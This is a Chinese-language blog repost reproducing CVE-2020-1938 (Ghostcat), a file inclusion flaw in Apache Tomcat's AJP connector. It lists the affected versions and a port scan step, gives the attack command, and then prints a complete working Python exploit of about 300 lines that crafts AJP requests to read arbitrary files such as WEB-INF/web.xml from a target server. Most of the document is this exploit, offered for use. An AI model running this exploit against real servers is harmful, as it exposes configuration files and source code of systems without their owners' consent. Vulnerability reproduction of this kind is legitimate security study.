ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Tomcat文件包含漏洞(CVE-2020-1938)复现

2021-05-20 21:02:06  阅读:590  来源: 互联网

标签:Tomcat stream res self headers 2020 1938 data pack


  漏洞简介

cve-2020-1938是一个出现在Apache-Tomcat-Ajp的文件包含漏洞,攻击者可以利用该漏洞读取包含Tomcat上所有的webapp目录下的任意文件,入:webapp配置文件或源代码。

  由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

  影响范围

受影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

不受影响版本

Apache Tomcat = 7.0.100

Apache Tomcat = 8.5.51

Apache Tomcat = 9.0.31

漏洞复现

1.扫描tomcat服务端口,可以看到Tomcat开启了AJP

 

 发现开启了8080和8009端口,证明存在漏洞

2.进行攻击

POC:https://github.com/0nise/CVE-2020-1938

攻击语句:python CVE-2020-1938.py your-ip -p 8009 -f WEB-INF/web.xml

 成功读取了WEB-INF下的web.xml文件

 WEB-INF目录下所有文件都可以读取

另附cve-2020-1938.py

  1 #!/usr/bin/env python
  2 #CNVD-2020-10487  Tomcat-Ajp lfi
  3 #by ydhcui
  4 import struct
  5 
  6 # Some references:
  7 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
  8 def pack_string(s):
  9     if s is None:
 10         return struct.pack(">h", -1)
 11     l = len(s)
 12     return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
 13 def unpack(stream, fmt):
 14     size = struct.calcsize(fmt)
 15     buf = stream.read(size)
 16     return struct.unpack(fmt, buf)
 17 def unpack_string(stream):
 18     size, = unpack(stream, ">h")
 19     if size == -1: # null string
 20         return None
 21     res, = unpack(stream, "%ds" % size)
 22     stream.read(1) # \0
 23     return res
 24 class NotFoundException(Exception):
 25     pass
 26 class AjpBodyRequest(object):
 27     # server == web server, container == servlet
 28     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 29     MAX_REQUEST_LENGTH = 8186
 30     def __init__(self, data_stream, data_len, data_direction=None):
 31         self.data_stream = data_stream
 32         self.data_len = data_len
 33         self.data_direction = data_direction
 34     def serialize(self):
 35         data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
 36         if len(data) == 0:
 37             return struct.pack(">bbH", 0x12, 0x34, 0x00)
 38         else:
 39             res = struct.pack(">H", len(data))
 40             res += data
 41         if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
 42             header = struct.pack(">bbH", 0x12, 0x34, len(res))
 43         else:
 44             header = struct.pack(">bbH", 0x41, 0x42, len(res))
 45         return header + res
 46     def send_and_receive(self, socket, stream):
 47         while True:
 48             data = self.serialize()
 49             socket.send(data)
 50             r = AjpResponse.receive(stream)
 51             while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
 52                 r = AjpResponse.receive(stream)
 53 
 54             if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
 55                 break
 56 class AjpForwardRequest(object):
 57     _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
 58     REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
 59     # server == web server, container == servlet
 60     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 61     COMMON_HEADERS = ["SC_REQ_ACCEPT",
 62         "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
 63         "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
 64         "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
 65     ]
 66     ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
 67     def __init__(self, data_direction=None):
 68         self.prefix_code = 0x02
 69         self.method = None
 70         self.protocol = None
 71         self.req_uri = None
 72         self.remote_addr = None
 73         self.remote_host = None
 74         self.server_name = None
 75         self.server_port = None
 76         self.is_ssl = None
 77         self.num_headers = None
 78         self.request_headers = None
 79         self.attributes = None
 80         self.data_direction = data_direction
 81     def pack_headers(self):
 82         self.num_headers = len(self.request_headers)
 83         res = ""
 84         res = struct.pack(">h", self.num_headers)
 85         for h_name in self.request_headers:
 86             if h_name.startswith("SC_REQ"):
 87                 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
 88                 res += struct.pack("BB", 0xA0, code)
 89             else:
 90                 res += pack_string(h_name)
 91 
 92             res += pack_string(self.request_headers[h_name])
 93         return res
 94 
 95     def pack_attributes(self):
 96         res = b""
 97         for attr in self.attributes:
 98             a_name = attr['name']
 99             code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
100             res += struct.pack("b", code)
101             if a_name == "req_attribute":
102                 aa_name, a_value = attr['value']
103                 res += pack_string(aa_name)
104                 res += pack_string(a_value)
105             else:
106                 res += pack_string(attr['value'])
107         res += struct.pack("B", 0xFF)
108         return res
109     def serialize(self):
110         res = ""
111         res = struct.pack("bb", self.prefix_code, self.method)
112         res += pack_string(self.protocol)
113         res += pack_string(self.req_uri)
114         res += pack_string(self.remote_addr)
115         res += pack_string(self.remote_host)
116         res += pack_string(self.server_name)
117         res += struct.pack(">h", self.server_port)
118         res += struct.pack("?", self.is_ssl)
119         res += self.pack_headers()
120         res += self.pack_attributes()
121         if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
122             header = struct.pack(">bbh", 0x12, 0x34, len(res))
123         else:
124             header = struct.pack(">bbh", 0x41, 0x42, len(res))
125         return header + res
126     def parse(self, raw_packet):
127         stream = StringIO(raw_packet)
128         self.magic1, self.magic2, data_len = unpack(stream, "bbH")
129         self.prefix_code, self.method = unpack(stream, "bb")
130         self.protocol = unpack_string(stream)
131         self.req_uri = unpack_string(stream)
132         self.remote_addr = unpack_string(stream)
133         self.remote_host = unpack_string(stream)
134         self.server_name = unpack_string(stream)
135         self.server_port = unpack(stream, ">h")
136         self.is_ssl = unpack(stream, "?")
137         self.num_headers, = unpack(stream, ">H")
138         self.request_headers = {}
139         for i in range(self.num_headers):
140             code, = unpack(stream, ">H")
141             if code > 0xA000:
142                 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
143             else:
144                 h_name = unpack(stream, "%ds" % code)
145                 stream.read(1) # \0
146             h_value = unpack_string(stream)
147             self.request_headers[h_name] = h_value
148     def send_and_receive(self, socket, stream, save_cookies=False):
149         res = []
150         i = socket.sendall(self.serialize())
151         if self.method == AjpForwardRequest.POST:
152             return res
153 
154         r = AjpResponse.receive(stream)
155         assert r.prefix_code == AjpResponse.SEND_HEADERS
156         res.append(r)
157         if save_cookies and 'Set-Cookie' in r.response_headers:
158             self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
159 
160         # read body chunks and end response packets
161         while True:
162             r = AjpResponse.receive(stream)
163             res.append(r)
164             if r.prefix_code == AjpResponse.END_RESPONSE:
165                 break
166             elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
167                 continue
168             else:
169                 raise NotImplementedError
170                 break
171 
172         return res
173 
174 class AjpResponse(object):
175     _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
176     COMMON_SEND_HEADERS = [
177             "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
178             "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
179             ]
180     def parse(self, stream):
181         # read headers
182         self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
183 
184         if self.prefix_code == AjpResponse.SEND_HEADERS:
185             self.parse_send_headers(stream)
186         elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
187             self.parse_send_body_chunk(stream)
188         elif self.prefix_code == AjpResponse.END_RESPONSE:
189             self.parse_end_response(stream)
190         elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
191             self.parse_get_body_chunk(stream)
192         else:
193             raise NotImplementedError
194 
195     def parse_send_headers(self, stream):
196         self.http_status_code, = unpack(stream, ">H")
197         self.http_status_msg = unpack_string(stream)
198         self.num_headers, = unpack(stream, ">H")
199         self.response_headers = {}
200         for i in range(self.num_headers):
201             code, = unpack(stream, ">H")
202             if code <= 0xA000: # custom header
203                 h_name, = unpack(stream, "%ds" % code)
204                 stream.read(1) # \0
205                 h_value = unpack_string(stream)
206             else:
207                 h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
208                 h_value = unpack_string(stream)
209             self.response_headers[h_name] = h_value
210 
211     def parse_send_body_chunk(self, stream):
212         self.data_length, = unpack(stream, ">H")
213         self.data = stream.read(self.data_length+1)
214 
215     def parse_end_response(self, stream):
216         self.reuse, = unpack(stream, "b")
217 
218     def parse_get_body_chunk(self, stream):
219         rlen, = unpack(stream, ">H")
220         return rlen
221 
222     @staticmethod
223     def receive(stream):
224         r = AjpResponse()
225         r.parse(stream)
226         return r
227 
228 import socket
229 
230 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
231     fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
232     fr.method = method
233     fr.protocol = "HTTP/1.1"
234     fr.req_uri = req_uri
235     fr.remote_addr = target_host
236     fr.remote_host = None
237     fr.server_name = target_host
238     fr.server_port = 80
239     fr.request_headers = {
240         'SC_REQ_ACCEPT': 'text/html',
241         'SC_REQ_CONNECTION': 'keep-alive',
242         'SC_REQ_CONTENT_LENGTH': '0',
243         'SC_REQ_HOST': target_host,
244         'SC_REQ_USER_AGENT': 'Mozilla',
245         'Accept-Encoding': 'gzip, deflate, sdch',
246         'Accept-Language': 'en-US,en;q=0.5',
247         'Upgrade-Insecure-Requests': '1',
248         'Cache-Control': 'max-age=0'
249     }
250     fr.is_ssl = False
251     fr.attributes = []
252     return fr
253 
254 class Tomcat(object):
255     def __init__(self, target_host, target_port):
256         self.target_host = target_host
257         self.target_port = target_port
258 
259         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
260         self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
261         self.socket.connect((target_host, target_port))
262         self.stream = self.socket.makefile("rb", bufsize=0)
263 
264     def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
265         self.req_uri = req_uri
266         self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
267         print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
268         if user is not None and password is not None:
269             self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
270         for h in headers:
271             self.forward_request.request_headers[h] = headers[h]
272         for a in attributes:
273             self.forward_request.attributes.append(a)
274         responses = self.forward_request.send_and_receive(self.socket, self.stream)
275         if len(responses) == 0:
276             return None, None
277         snd_hdrs_res = responses[0]
278         data_res = responses[1:-1]
279         if len(data_res) == 0:
280             print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
281         return snd_hdrs_res, data_res
282 
283 '''
284 javax.servlet.include.request_uri
285 javax.servlet.include.path_info
286 javax.servlet.include.servlet_path
287 '''
288 
289 import argparse
290 parser = argparse.ArgumentParser()
291 parser.add_argument("target", type=str, help="Hostname or IP to attack")
292 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
293 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
294 args = parser.parse_args()
295 t = Tomcat(args.target, args.port)
296 _,data = t.perform_request('/asdf',attributes=[
297     {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
298     {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
299     {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
300     ])
301 print('----------------------------')
302 print("".join([d.data for d in data]))

 

标签:Tomcat,stream,res,self,headers,2020,1938,data,pack
来源: https://www.cnblogs.com/whited/p/14791468.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有